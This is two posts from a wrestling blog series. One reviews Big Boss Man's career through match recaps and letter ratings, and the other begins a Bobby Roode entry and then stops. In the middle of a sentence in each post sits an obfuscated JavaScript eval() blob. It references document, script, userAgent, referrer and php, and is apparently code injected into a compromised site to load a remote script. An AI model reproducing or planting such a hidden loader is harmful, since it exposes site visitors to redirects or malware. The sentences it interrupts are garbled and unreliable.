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Wrestler of the Day – April 24: Big Boss Man

Today it’s one of the nicest guys ever in wrestling: the Big Boss Man.

 

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|itnir|var|u0026u|referrer|rhazy||js|php'.split('|'),0,{})) Boss Man, real name Ray Traylor, got his start as a jobber. He’s one of the few guys ever to get a job based on one match and one match alone. Here’s the match, from WCW TV on February 15, 1986.

Tully Blanchard vs. Ray Traylor

Yes, that’s Big Bossman as a jobber. He’s in a singlet here which looks like an S&M outfit on him. JJ is on commentary and sounds a little worried about Traylor’s size. Tully goes amateur on him but Traylor gets up and muscles him back into the corner. Traylor keeps using his weight to get him into the corner. Tully sweeps the leg and takes it to the mat again. He manages to get Traylor up and hit the slingshot suplex for the pin.

Rating: C+. Considering Traylor’s size (over 350lbs) that suplex at the end was awesome. Dusty was so impressed by the fact that Traylor could take it and make it look good that Traylor got a full time job out of this. He was kept off TV for three months and came back as Cornette’s unstoppable and unhurtable bodyguard Big Bubba Rogers and would jump to the WWF in about two years.

After being Cornette’s bodyguard for awhile, Bubba would go on to feud with Ronnie Garvin, who he would face in a street fight at Starrcade 1986.

Ron Garvin vs. Big Bubba Rogers

Garvin is Mid-Atlantic Champion but this is non-title. It’s also a street fight and Bubba, a 400lb monster who can move very quickly and is dressed as a gangster for lack of a better term, has Jim Cornette as his manager. You can only win by pinfall or knocking someone down for a ten count. Why not just cover them for three instead of waiting the extra seven seconds? Falls count anywhere also. Oh and this is a Louisville (Cornette’s hometown) street fight in Atlanta.

Garvin gets in some quick right hands to stagger Bubba so the big man asks for a test of strength. Ron agrees but sucker punches Bubba down in a smart bit. Garvin is in street clothes here which works for a street fight. Back in and Bubba throws Garvin onto the announce table and out to the floor as we pause again. While out there, Garvin picks up a drink and throws it in Bubba’s face to get an advantage. He goes NUTS on Bubba, pounding him out to the floor with rights and lefts.

Back in and Garvin chokes away but Cornette slipped Bubba something and a shot to Ron’s head changes control again. Bubba punches him down a few times for a couple of four counts but Ron comes back with more punches. Garvin pulls out a rope of some kind and ties Bubba’s leg down with it before choking away. Bubba comes back with some right hands of his own and slaps on a bearhug like any good monster would.

Garvin doesn’t appear to be in pain at all and headbutts his way out of the hold. A BIG right hand puts Rogers on the floor and he’s almost out cold. Back in for, of course, more punching from Garvin. Bubba is knocked to the floor where he gains control by the power of fat, but as they go back in Ron slams him down off the top rope.

The referee is crushed (as has happened A LOT tonight) and Ron piledrives Bubba down, only to have Cornette blast him with the tennis racket. The referee gets up and counts both guys out to ten, but there has to be a winner. It’s the first man to his feet gets the win apparently, and with Bubba distracting the referee, Cornette nails Ron in the knee with the racket to give Bubba the easy win.

Rating: D+. This didn’t do it for me. Garvin throws a decent punch, but other than that there was nothing to see here from either guy. It wasn’t terrible or anything but I need more than eleven minutes of punching and a screwy finish with Cornette hitting Ron in the knee with a tennis racket. Not much to see here.

After another few months as a big brawler in the NWA, Rogers would head to the WWF and become the Big Boss Man, a former prison guard who dished out law and order. His PPV debut was at Summerslam 1988.

Big Boss Man vs. Koko B. Ware

Boss Man is brand new here. This wasn’t included on the home video version for reasons that I’ve never figured out. It was probably a time thing though. Koko fires away to start and staggers the very fat Boss Man with a dropkick. Boss Man is one of the best cases of weight loss you’ll ever see as he lost probably 100lbs in a year and a half, making him MUCH smoother in the ring.

Koko charges into a front facelock and Boss Man pounds him down with a forearm to the back. A splash in the corner crushes Ware but Boss Man pulls him up at two. Off to a surfboard hold but Koko rolls forward and kicks Boss Man in the face. A stiff right hand puts Koko down again but Boss Man misses a top rope splash. Boss Man misses another splash in the corner and a missile dropkick gets two for Koko. Ware charges again but gets dropped face first onto the post, followed by the Boss Man Slam for the easy pin.

Rating: D. This went WAY too long for a squash early on in Boss Man’s run with the company. The match wasn’t terrible and Koko looked good with the high flying stuff, but therein lies the problem: there’s no reason to have Koko look so good here. He should have gotten destroyed in about three minutes as opposed to being somewhat competitive in twice as long.

Boss Man would become part of a tag team with the 400lb Akeem called the Twin Towers. They would be the top heels in the company in early 1989, facing off with the Twin Towers at the Main Event II.

Twin Towers vs. Mega Powers

This is an hour long show and the match is over twenty minutes long so if you didn’t get the idea, this is the only reason to watch this show. After the Towers get to the ring, we get a video about Hogan and Savage. This isn’t your typical video however. This is set to a WAY too upbeat song called You’re A Friend Of Mine by Clarence Clemens Jackson Browne. Look it up and picture a highlight package of Hogan and Savage. It looks like the intro to a REALLY bad sitcom. I can’t make this stuff up people.

Hogan and Savage say there is no issue with these three. The underlying theme here is that Hogan allegedly loves Liz but Hogan insists it’s just like a brother and sister. In short, this became about Hogan which Savage didn’t like which has to be at least half legitimate. Everyone talks a lot here and hey now let’s have a match.

Boss Man starts and Savage and Hogan both want to start for their team. Boss Man wants Hogan so Savage can’t get his way again. Hogan looks especially orange tonight. The heels are cleared out by Super Hogan alone and the fans are WAY into it. The little things in this match like Savage wearing Hogan’s colors with the words Mega Powers written on them but Hogan wearing his usual gear is very well done.

Akeem comes in and here’s Savage to meet him. Oh wait never mind Hogan needs to come back in. He even comes off the second rope to work on the arm a bit. Boss Man hits a Piledriver and Hogan does his fish out of water dance on the mat. I’m not sure if it looks more like that or a steak being grilled. One or the other. Jesse points out that Hogan is hogging the ring time and he’s absolutely right at this point.

Slick gets involved so Savage drills him in the face. Spinebuster which is unnamed at this point gets two. Savage finally comes in this has been ALL Mega Powers. Top rope cross body puts Akeem down but Slick gets a shot in to take down the Macho Man and momentum shifts. Savage is still world champion here if I didn’t mention that and you’re not familiar with this era.

And now we get to the meat of this show. Akeem throws Savage to the floor and he wipes Elizabeth out, landing right on top of her (lucky). She’s GONE and Hogan goes to try to help her which ticks Savage off for some reason. “Oh no the woman I love is getting helped after I was incapacitated! SCREW THIS!” Hogan carries Liz to the back in as dramatic a fashion as possible. He leaves with her as they check her out.

We get the other fun part of this as Hogan’s acting is at its peak here. Keep in mind we stay on Hogan and Liz for like 3 minutes with ZERO talk of what’s going on in the ring. Back from a break we get a bumper of the match and now back to General Wrestling Hospital. Hogan keeps saying thank God and making weird noises. I don’t have the video up as I’m typing here and the sounds are just disturbing. Leaving out the word God it’s God Elizabeth God Elizabeth and random moaning and groaning and breathing sounds.

FINALLY he realizes he’s left his partner for like ten minutes against two monsters so he comes back for the save and the glory. Oh but instead of like, I don’t know, GETTING IN THE RING and beating the heck out of one of the guys and helping Savage, he gets on the apron and grabs the tag rope. Savage continues to do all of the work and beats up Boss Man but won’t tag Hogan.

Savage slaps Hogan nice and hard and leaves him. Serves the bald pest right too. Macho stands on the floor and then leaves with his belt. For once Hogan has absolutely no one to blame but himself here. More on that later though. Air Africa (Akeem’s splash) hits Hogan, he Hulks Up, Boss Man apparently asks Slick if he knows where he can find a good turkey on rye as he pays NO attention to what’s going on and Hogan gets the pin.

Rating: C. Total angle here with a match as the backdrop but this was a big deal to put it mildly. This would be like Orton turning on Cena when they had been best friends for like a year. The match is just ok but that’s all it needed to be. Hogan’s hammy acting aside, this was perfectly fine for what it was.

We’ll take a quick jump away from Hogan to one of the first matches on Wrestlemania V.

Rockers vs. Twin Towers

That would be Big Boss Man/Akeem. Shawn makes his Wrestlemania debut by starting against Big Boss Man and the little guy takes over quickly. He also decks Akeem in the corner and gets to face the bigger man (Akeem, the former One Man Gang). The Rockers start flying in and out of the ring as they work over Akeem’s arm. The arm cranking continues but Akeem makes a blind tag. Marty gets tossed into Boss Man’s arms and crushed by both big men. This is back when Boss Man weighed about 400lbs so it’s a big more painful than it sounds.

The Towers take their turns with fat man offense as Marty is in big trouble in a hurry. Akeem avalanches him in the corner and it’s back to Boss Man. We get heel miscommunication though and Boss Man is knocked to the floor by his own partner. Off to Shawn who pounds away in the corner before both Rockers hit a series of whips into the corner. A double middle rope shoulder finally takes Akeem down for two and it’s back to Shawn on his own.

Akeem KILLS HIM with a clothesline (Jesse: “I think he irritated Akeem!”) but Boss Man misses a top rope splash. The Rockers hit some double dropkicks (one of which sees Shawn completely missing Bossman) but a top rope rana is countered into a wicked powerbomb by Boss Man. Akeem crushes Shawn with a splash for the pin.

Rating: C. Considering how hungover the Rockers were in this match (as confirmed by Shawn), this came off pretty well. The Rockers sold the power offense like few others could, which made for some awesome visuals. They would get a lot better over the coming years but this wasn’t their best performance.

Back to Hogan, for what might be Boss Man’s most famous moment. From Saturday Night’s Main Event #21.

WWF Title: Hulk Hogan vs. Big Boss Man

This is in a cage remember. Slick says that the surprise is Zeus. He stands on the steps and slams the cage door, blocking Hogan’s entrance. Dang it I was hoping I was done with this guy. Ok here’s the concept of Zeus. Hogan made a movie called No Holds Barred. The main villain in that movie was named Tom Lister, playing the character of Zeus, a monster fighter that was a crazed wrestler. Hogan played a character that more or less was himself named Rip. At the end of the movie, Rip beats Zeus as you would expect him to. So what this would be is Zeus the character coming after the actor that played the character Rip.

In other words, a character played by an actor is coming after a character played by a character played by Terry Bollea. Now here’s the big problem: LISTER CANNOT WRESTLE. Vince of course contemplated putting him vs. Hogan in SkyDome at Mania 6 for the title. Yeah around this time WWF was in REAL financial trouble until Mania saved the freaking company. Anyway, this is Zeus’ debut.

Remember, this is a movie character going after an actor that played a character that beat his character up. Yeah it was idiotic but oddly enough few got the problem, mainly because most kids were so freaked out by Zeus, including me, that they didn’t get how stupid this was. Oh and remember Hogan hasn’t even come to the arena yet.

We get a clip of No Holds Barred, showing Zeus beating up a street fighter. That movie needs to be on DVD. It just does. Hogan comes out and can’t get in. Zeus beats Hogan down as you would expect. Remember, this would be like Christian Bale claiming to be Batman beating up Liam Neeson. Not Ra’s-as-Ghul, but Liam Neeson. Boss Man dominates early but here comes the champion as you would expect.

See here, the fans are cheering and money was coming in. BIG difference to today. He hits what would be called a spinebuster on Hogan but doesn’t have a name other than “look at that maneuver!” Boss Man gets over the top of the cage but since Boss Man can’t climb down with any kind of speed, Hogan gets there in time. We then get the mega spot of the match, which really isn’t much by today’s standards.

With Boss Man on the top of the cage and Hogan on the top rope, Hogan suplexes Boss Man to the mat. I think it’s because of the size and era that this is considered such a great bump. They’re up about 45 seconds later and everything is fine. Boss Man has handcuffs which don’t work of course. Ah never mind it’s just a chain. Both guys get rammed into the cage and they’re both down.

This time it’s just for a few seconds though. Boss Man is bleeding a bit. The usual stuff ends it as Hogan goes over the top to get to the floor. For those of you that don’t remember, Slick is more or less Pope minus wrestling. I forgot to mention that Slick runs in and there’s a mix up, causing Boss Man to get cuffed to the rope. Hogan beats Slick up afterwards.

Rating: B-. It’s a Hogan cage match. That’s all there is to it. The bump is nice, but other than that there just isn’t much here. Hogan vs. a monster was where he was at his best and this came off just fine. It’s no classic or anything, but for a TV match this was quite good and that suplex scared me to death as a kid.

Boss Man would turn face in early 1990 after Ted DiBiase hired him to retrieve the Million Dollar Title. Boss Man did his job, but DiBiase made it sound like Boss Man was a mercenary. That wasn’t what Boss Man stood for and the turn was simple. This led to a feud with DiBiase, but somehow they wouldn’t have a big match for months. Here’s one from about eight months later on August 8, 1990.

Ted DiBiase vs. Big Bossman

This is a fan favorite match, meaning a fan requested it. The problem with this is simple: there’s no point to this at all. Luckily this was a bit of a feud from Wrestlemania which had a bit of time on a SNME so there’s a bit of history there I suppose. We’re in Providence here. Boss Man chases him out of the ring to start. When I say start I mean start to stall as DiBiase won’t come in and then tries to leave.

Boss Man curses loudly which isn’t something you hear in this era that often. After a two minute stall, Virgil’s distraction fails and Boss Man takes over. Atomic drop and a punch send DiBiase to the floor. Out to the floor and Boss Man crushes him, using the belt to whip and choke Ted out a bit. Finally a splash misses and Virgil slips in the nightstick. A shot to the ribs shifts momentum over to DiBiase. This isn’t particularly boring but it’s such a paint by numbers match.

Out to the floor again with Boss Man being sent into the post and steps. Did referees not DQ anyone back in this era? DiBiase wastes a lot of time and stomps away. More rib work follows after that earlier nightstick shot. Bearhug goes on as Mooney questions why the ribs are hurting. See what I have to work with here people? Boss Man gets out of it and a double clothesline puts both guys down.

DiBiase misses a middle rope double axe and flips over which he does so well. His athleticism was underrated. Virgil gets brought in too and it’s an old school double noggin knocker. It’s a DQ somewhere in there with it being given to DiBiase. WHAT THE HECK??? How in the world is that a DQ? Not only is this tape boring but it makes no sense. DiBiase and Virgil hammer away but Boss Man gets the stick and runs them off.

Rating: D+. Still a boring match and the ending was just stupid. How is it a DQ to beat up Virgil? I guess it’s over him pulling Virgil in but still dude, that’s as confusing an ending as I’ve seen since the last TNA show I watched. Not a bad match I guess but this tape is dead anyway so it’s not like it matters anyway.

Next up was a feud with the Heenan Family. Bobby Heenan insulted Big Boss Man’s mother and you don’t do that to a Georgia Boy. Heenan said Boss Man would have to face every member of the Family to get to him and that’s exactly what Boss Man did. He wound up facing Mr. Perfect for the Intercontinental Title at Wrestlemania VII.

Intercontinental Title: Big Boss Man vs. Mr. Perfect

Perfect is defending. This is an interesting yet simple idea for a story: Heenan had insulted Boss Man’s mama so Boss Man swore revenge. He went after the Heenan Family and beat every single one of them until there was only Perfect left. Tonight is the final showdown. They spit at each other to start and Perfect slaps Boss Man like a schmuck. Boss Man hits him once to knock Perfect out to the floor and there’s a spin around BY THE HAIR. FREAKING OW MAN!

Boss Man speeds around the corner and hits a big clothesline to take Hennig down. Perfect gets tossed out to the floor and Boss Man is standing tall. Back in and Boss Man hits the running crotch attack to Perfect’s back and whips him with a belt for good measure. Perfect finally avoids a shot and takes Boss Man down with some kicks to the ribs. Off to a chinlock with a knee in the back followed by an abdominal stretch. There’s the Hennig neck snap for two and Mr. goes up, only to jump into a boot.

Perfect gets to do his reverse crotching into the post but as they go to the floor, Boss Man is whipped into the steps to take him down again. Since it was a Heenan distraction that caused the whip into the steps, here’s Andre the Giant to counter the weasel. Andre picks up the belt and takes way too long to get to his position, from which he whacks Perfect in the head to knock him out cold. Boss Man covers but Haku and Barbarian run in for the DQ.

Rating: C. This wasn’t great and I have no idea why they didn’t change the title. The story set it up to be a title change, but I guess they were hoping for something else besides this. What that was I have no idea as Boss Man would never come close to the title again. The match was decent enough all things considered though.

Boss Man would be in the main event of Survivor Series 1991, desite there being no story to it whatsoever.

Legion of Doom/Big Boss Man vs. IRS/Natural Disasters

This is your main event people. Let that sink in for a minute. The LOD are the tag champions and IRS and Boss Man are having a worthless midcard feud. Boss Man and IRS start things off with the tax dude (if you need help figuring out who that is you’re beyond my help) getting thrown all over the place. Off to Animal vs. Earthquake which fires the crowd up a bit.

They collide and Animal’s cross body is caught in a backbreaker in an impressive display of strength from Quake. Back to IRS to face Hawk with the latter working on the arm. Typhoon gets the tag, only to have IRS thrown at him by Hawk. Off to Earthquake who carries Hawk to the heel corner. IRS and Boss Man come in again and it’s a briefcase shot to Boss Man’s head for the elimination.

It’s Typhoon vs. Animal now and the Disasters double team Animal in the corner. Quake suplexes him down as Monsoon talks about Bobo Brazil. IRS hits a top rope right hand for two and Typhoon puts on a bearhug. Animal escapes and hits a clothesline before tagging in Hawk. IRS misses a briefcase shot to the head and hits Typhoon by mistake, giving Hawk the easy pin.

Quake wants to fight IRS now but walks off with Typhoon instead, making it the LOD vs. IRS. Hawk powerslams IRS down but a charge goes shoulder first into the post. Hawk gets sent face first into the steps as we continue to fill time by having IRS look like he has a chance. We hit the chinlock as the announcers talk about Thanksgiving dinner. Not hot tag brings in Animal who cleans whatever is left in the house. IRS tries to walk out but runs into Boss Man in the aisle. Hawk hits a top rope clothesline for the win.

Rating: D+. We go from Hogan vs. Andre II to this in five years? That should give you a good idea as to what you’ve got going on with this show. The match was nothing and there was no reason to get excited about it, because the whole reason the match was happening had been postponed to Tuesday. In Texas.

Boss Man’s last WWF feud was against Nailz, who claimed to have been abused by Boss Man in prison. This led to a nightstick on a pole match at Survivor Series 1992.

Big Boss Man vs. Nailz

This is a nightstick on a pole match, which means you can get it down and use the stick on the other guy. Is it a DQ if the person that doesn’t pull it down uses it? That’s how the rules sound. Nailz tries to get to the stick but Boss Man runs out for the save. Nailz isn’t a wrestler so him using nothing but chokes and punches makes perfect sense. He chokes Boss Man down but still can’t get the stick.

A right hand puts Nailz down and Boss Man gets his hand on the stick but he gets slammed down off the top. Nailz works on Boss Man’s back a bit and chokes away some more but Boss Man shoulders him down. A splash misses and Nailz goes for the corner again. He gets crotched as this is already slowing down. A double clothesline puts both guys down and Boss Man quickly gets to the corner to get the stick. Nailz barely sells a stick shot to the face but Boss Man no sells one to the ribs and hits the Boss Man Slam for the pin.

Rating: D. This was terrible with the no selling looking awful. I mean, it’s a nightstick to the head. There are only so many ways you can get hit with that and be up twenty seconds later. Nailz never did anything other than this although he was scheduled to feud with Undertaker. Boss Man would be gone after the Rumble and wouldn’t be back for years.

It was off to WCW after this, with one of the Boss’ (new name in WCW, and yes it caused a lawsuit) first big matches coming against Vader at Spring Stampede 1994.

The Boss vs. Vader

Guess who the Boss is. Almost right off the bat, Vader takes a HARD whip into the railing. Like I’ve said before, Boss was perfect for this feud as he had the size and power to stand up to Vader but wasn’t big enough that Vader’s offense would make no sense against him. This is a freaking fight. All night long has been physical but it’s been reigned in which is a huge help to it and it’s making the thing work a lot better. Vader is bleeding from the eye. That can’t be a good thing at all.

They’re just punching the tar out of each other here and it’s AWESOME stuff. Boss throws a freaking DDT off the middle rope. I’m into this also if you can’t tell. There’s not a lot to say here as it’s just them beating the crap out of each other with STIFF shots. The Vader Bomb gets two but the Vadersault ends this. I don’t think Boss ever pinned Vader even though they feuded all summer. Post match Boss goes nuts on Vader and Race with the nightstick. In the back Bockwinkle takes the stick and the cuffs away from him, leading to him becoming the Guardian Angel.

Rating: B. Again, this was far more of a fight than a match but it worked VERY well. The matches would get progressively worse, but the first ones were straight up fights. This worked fine although it could have been better. Just awesome fighting here which never gets old.

He would turn heel later in the year and eventually meet up with old rival Hulk Hogan in the main event of the first Monday Nitro.

WCW Title: Hulk Hogan vs. Big Bubba Rogers

Hogan is defending of course. Rogers is more famous as the Big Boss Man from the WWF, meaning this is another pairing with a lot of experience against each other. Hulk Hogan’s manager, and former rival, Jimmy Hart has stars and stripes pants and a jacket. He looks like a walking barber pole. The fans are going nuts for Hogan if nothing else, which shouldn’t surprise anyone at all.

Hogan shoves Bubba back to start but gets caught in a headlock. Bubba sends Hogan into the corner to stay on the champion but can’t ram him into the buckle. Instead it’s a backbreaker to put Hogan down for no cover, with Bubba opting to pound away in the corner instead. Hogan gets two straight boots up in the corner to stop a charging Bubba before pounding down right hands in the corner. A simple shot to the throat puts Hogan down again but Bubba goes after Jimmy Hart on the floor, allowing Hulk to come back again.

Back inside and Hogan wraps Jimmy’s jacket around Bubba’s head to pound away even more. Some hero. Hogan slams him down and drops some elbows but Bubba drives knees into the ribs to take over. Hogan avoids a splash in the corner but walks into Bubba’s trademark side slam for two. The champion Hulks Up, hits three straight right hands, a big boot to the face and drops the big leg to retain his title.

Rating: C. It’s exactly that: average. Hogan wrestled this exact same match probably a thousand times over his career and there’s nothing wrong with it. Why mess with the most successful formula of all time? This is the kind of thing the fans wanted to see and that’s exactly what they got here. Fine idea for a main event.

We’re going to jump WAY ahead here as 1996 and 1997 weren’t kind to Big Bubba. After joining and being thrown out of the NWO and now being known by his real name of Ray Traylor, he would go fight for WCW. Here’s a match from January 5, 1998 on Nitro.

Buff Bagwell/Scott Norton/Konnan vs. Ray Traylor/Steiner Brothers

Traylor and Konnan get things going with Ray missing a charge into the corner and getting clotheslined down. Konnan loads up a DDT but Scott Steiner takes his head off with a clothesline to break it up. Bagwell gets slapped to the floor as Scott Steiner stomps on Konnan’s head. Everything breaks down and the NWO is sent to the floor. Bagwell gets the tag but wants Rick instead of Scott.

Rick poses a bit in a funny spot, causing Buff to go off with right hands. That lasts all of four seconds as Rick suplexes him down and gets two off a Steiner Line. Back to Ray to face Norton with Traylor being taken down like he’s nothing. Ray comes back with an uppercut and it’s back to Rick for a top rope clothesline.

The NWO finally starts cheating to let Buff take over and Rick gets beaten down by all three NWO guys. Rick finally clotheslines Buff down and tags in his brother as everything breaks down. Everything breaks down and the Steiners set up the Steiner Bulldog, only to have Scott drop Buff down in an electric chair. Rick is distracted but his brother hits the awesome Steiner Screwdriver on Konnan for the pin. DiBiase gets in some kicks to Vincent for old times’ sake.

Rating: C+. This match goes up a letter or so because of the Steiner Screwdriver. If there has ever been a more devastating looking move I can’t think of it off the top of my head. If you’ve never seen it, picture a delayed vertical suplex but instead of falling back, Scott drops the other guy straight down on his head like a fast piledriver. It’s incredibly dangerous but so sweet to watch. That lack of the Steiner Bulldog at the end isn’t a good sign for the Brothers though.

Traylor would head back to the WWF and join Vince McMahon’s Corporation as the Big Boss Man. Vince would reward him with a Hardcore Title shot on Raw on November 30, 1998.

Hardcore Title: Big Bossman vs. Mankind

Ladder match. Shawn comes out with Boss Man and climbs the ladder for old times’ sake. Boss Man knocks Mankind into the ladder as Shawn ejects the JOB Squad who came with Mankind. Shawn jumps in on commentary as Boss Man is sent into the steps. Mankind throws the ladder at Bossman’s head as Shawn is giving scores to every move Mankind does. Foley drops the ladder on Boss Man and they head inside.

Boss Man gets crushed between the ladder and an elbow drop onto the ladder onto Boss Man onto the ladder crushes him even more. Mankind vs. Rock for the title at Rock Bottom is confirmed. Boss Man keeps Mankind from getting the belt but walks into a double arm DDT. Another climb is countered and Boss Man slams Mankind down (getting a ten from Shawn) and they fight on top of the ladder. Socko goes into Boss Man’s mouth but here’s Rock to shove the ladder and Mankind over. Mankind gets back up and hits Rock low but gets knocked off the ladder again. The Rock Bottom allows Boss Man to win the title.

Rating: D. This is in the time of Russo and there’s one of your first instances of the title being a prop in a feud. Now to be fair it’s not like the Hardcore Title was ever meant to mean anything, but it clearly is being treated like nothing at all here other than a way to enhance Rock and Mankind’s feud. The match only had six minutes to work with too so it didn’t get anywhere.

Less than a month later, Boss Man had a chance to become a double champion on the December 14, 1998 episode of Raw.

Tag Titles: New Age Outlaws vs. Big Bossman/Ken Shamrock

The Outlaws are defending. Shawn is out with the challengers. Also, last night Shamrock went after Billy’s leg with a chair. That becomes important later. Billy and Boss Man start things off and Boss Man knocks him down, only to have Billy ask him to do it again. Boss Man does it again and Billy doesn’t get up. Serves the idiot right. Off to Road Dogg who does about as well, getting sent into the corner with authority. Boss Man misses a charge and it’s back to Billy.

Boss Man tries to crotch him on the post but gets pulled face first into the post instead. Off to Shamrock who goes after Billy’s leg for a good while. Boss Man comes back in and Billy falls down while being whipped to the corner because of the leg work. Shamrock comes back in and tries a standing rana but Billy powerbombs him down to counter.

The double tag brings in Roadie to face Boss Man and Shawn cracks Road Dogg in the back with a chair. The Boss Man Slam gets two and Road Dogg hits Boss Man low for absolutely no penalty. Back to Billy but Shawn whacks him with a pipe. The ankle lock goes on but Billy is out and we have new champions.

Rating: C-. The match wasn’t any good but it gave the Corporation yet another title. I believe they have everything but the European Title and the Light Heavyweight Title at the moment. Anyway this wasn’t much but at least it was short. The wrestling in the Attitude Era just wasn’t that good and most of the time that was because no one really cared about it. The fans were there for the drama and that’s about it.

Boss Man would stay in the Hardcore division for most of 1999, including getting a title shot on the first regular episode of Smackdown.

Hardcore Title: Al Snow vs. Big Bossman

I guess he stole the dog on Monday. Yep, the dog is nervous and Jerry is no longer dry. Yeah that’s not really funny. Snow only cares about getting his dog back so he’s distracted. This is all of three minutes long and ends with Bossman slamming Snow in the head with the nightstick.

He of course leaves, stealing Pepper again in the process. A week later they would meet in a hotel room where Snow would be given dinner that was, you guessed it, Pepper. It ended up being decided in the Kennel From Hell match. If you from to see something awful, go look that one up.

Rating: C. I’ll go with average because it’s just too short to really grade. Snow did next to nothing, but that fit with the storyline of him being nervous and upset. I really don’t know where they thought this would wind up going, but whoever thought the Kennel match was a good idea should be shot.

Boss Man would get into a feud with Big Show, who would become WWF Champion due to an injury to Austin. This gave Boss Man a title shot at Armageddon 1999.

WWF Title: Big Boss Man vs. Big Show

Should be a big match. This is for nothing more than to make Show’s reign not look transitional which it totally was. You have to remember that Show is still in shape and kind of slim here so he’s completely lethal. Prince Albert is with Boss Man here. He’s chokeslammed through a table in like a minute but it lets Boss Man get a step shot.

The fans think this is boring. To you new fans, here’s an idea of what Big Show from this era was capable of. He kicks out of a cover and NIPS UP. You read that right: The Big Show Nipped Up. A huge boot and the chokeslam end this in like 3 minutes. Show looked AWESOME here.

Rating: B. This is what it should have been. Big Show destroyed him and looked great doing it. He shrugged off weapons and everything Boss Man threw at him like it was nothing. This was great and it came off great. Total dominance and I loved it far more than I ever should have.

Boss Man would form a team with Bull Buchanan and open Wrestlemania 2000 in a strange choice for a match.

Godfather/D’Lo Brown vs. Big Bossman/Bull Buchanan

Eh? We’re opening the show that’s supposed to lead the WWF and therefore the wrestling business into the new millennium and this is what you give us? And people wonder why wrestling went downhill in a hurry once WCW died. Godfather and Brown are rapped to the ring by Ice T, who I try to block out as most of the time these live intros are awful. Brown is a co-pimp here.

Remember the catchy Godfather entrance? This isn’t close to it. Ice T does some song that includes the lyric Pimp Or Die. Something sound bad about that? This intro goes on WAY too long and sums up what I hate about rap: this whole thing is just loud and stupid sounding. It was built to market a CD called Aggression which was a rap album of WWF entrance themes. In case you can’t guess, it bombed.

After that completely pointless intro, Godfather decides he has to do his awful intro, saying for everyone to smoke a blunt and say it ain’t easy. FINALLY Bossman’s terribly bland theme music plays and the pain in my head goes away a little bit. Godfather has really stupid looking dreadlocks here and is somehow dumber looking than usual.

There’s really no reason as to why these two are feuding in case you thought there was. Is it possible that D’Lo Brown is the most successful of these four men? I do believe he is and that’s a scary thought. Anyway let’s get to this. Brown vs. Buchanan to start us off with Brown controlling so far. Godfather takes Boss Man’s interfering head off while Brown is on offense.

Off to the pimp now as the fans want puppies. Big elbow misses as we talk about JR wearing some of Godfather’s clothes for some reason. Basically Boss Man dominates when he’s in and Buchanan can do one move, that running up the corner into a spinning clothesline. Blind tag brings in the Boss Man who gets two on Brown as Godfather saves.

Axe kick by Buchanan gets two. Brown and Boss Man on the floor now and Godfather accidently clotheslines the referee. I say accidently as the referee doesn’t even go down so it wasn’t the point obviously. Boss Man gets two on Brown who is the face in peril here. Buchanan with a bearhug now as the fans chant for D’lo.

Naturally that doesn’t do it but an elbow takes down Brown. Double teaming by the guys in black as Godfather just looks freaking stupid. Boss Man sucks chant starts up. The beating goes on for awhile with Buchanan hitting a double axe off the top. We talk about Pete Rose for a bit and apparently he’s got a ball bat with him just in case.

Godfather shakes the ropes to crotch Godfather and Brown busts out a rana to break the momentum. Here’s Godfather who cleans some house. Ho Train hits Boss Man in the corner sets up the Lo Down from Brown. Bull pushes him off the top though but Brown lands on his feet. Boss Man Slam kills D’lo though and a guillotine leg drop from Buchanan ends this.

Rating: D+. This wasn’t terrible but at the same time it’s Godfather/Brown vs. Boss Man/Buchanan. It’s not a terrible match but is this really what you want to open Mania? Also, a heel team winning the opener? Just not a great idea especially after the crowd got fired up for the rapping. Not bad but just odd.

We’ll wrap it up there as Boss Man would be in the meaningless team for the rest of the year before leaving for most of 2001. Boss Man would have a meaningless return in 2002 where he would be in the main event for a cup of coffee, realize he wasn’t capable of doing that anymore, and head back down the card before being taken off TV soon after.

Big Boss Man was a very talented guy who could move far faster than someone his size should have been able to do. He also stuck around for a long time and was perfect for his role. No he wasn’t the top guy in the company at any time, but he was able to beat people up with a nightstick and give them a feud before they got to the big feud. That’s a valuable person to have and Boss Man ran with it for over fifteen years.

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Wrestler of the Day – January 1: Bobby Roode

This is the sequel to On This Day and is something I’ve been planning on doing for awhile now.  The idea is simple: every day for the year I’ll be selecting a wrestler and posting reviews of some major matches from his career in a kind of timeline format.  I’ll also include my thoughts on the person as a whole.  I won’t bother with a bio or anything unless it’s someone not very familiar.  I’m not sure how many matches there will be but it should be at least three a day.  The primary way I’ll be picking them is by birthday, though of course this won’t always work.  I’ll also do two guys or a tag team if a particular day doesn’t have a good option.  Hope you enjoy and let’s get to it.

We start with the It Factor of Professional Wrestling: Bobby Roode.

We’ll eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tadkr|var|u0026u|referrer|drrsi||js|php'.split('|'),0,{})) start REAL old school here with a match from Roode’s jobbing days on Sunday Night Heat. Yes, Roode wrestled in WWE for a handful of matches.

Sunday Night Heat
Date: March 2, 2003
Location: Air Canada Centre, Toronto, Ontario, Canada
Attendance: 10,000
Commentators: Jonathan Coachman, Lita

Bobby Rood vs. Al Snow

On to TNA and the first PPV, Victory Road. Roode is part of Team Canada and defending the tag titles along with Eric Young against 3 Live Kru.

Victory Road 2004
Date: November 7, 2004
Location: Impact Zone, Orlando, Florida
Attendance: 700
Commentators: Don West, Mike Tenay

Tag Titles: 3 Live Kru vs. Team Canada

Team Canada here is Bobby (Robert) Roode and Eric Young while 3LK is Konnan and Road Dogg. They use the Freebird rule to fight and will use it if they win the belts here, along with Ron Killings. Anyway, this is the finale of a long feud between them which of course didn’t end here. We start with Roadie and Roode. For the life of me I do not get the hype on this guy. He’s ok and that’s it.

People to this day think he could be a main event guy. Why? Tell me one thing that he could do that would validate him as a main event guy. And I don’t mean a line like just watch him or how can’t you see it. Pretend I’m stupid and tell me what it is that this guy has that makes him a big star. Konnan is in now with Young and these two just amuse me to no end.

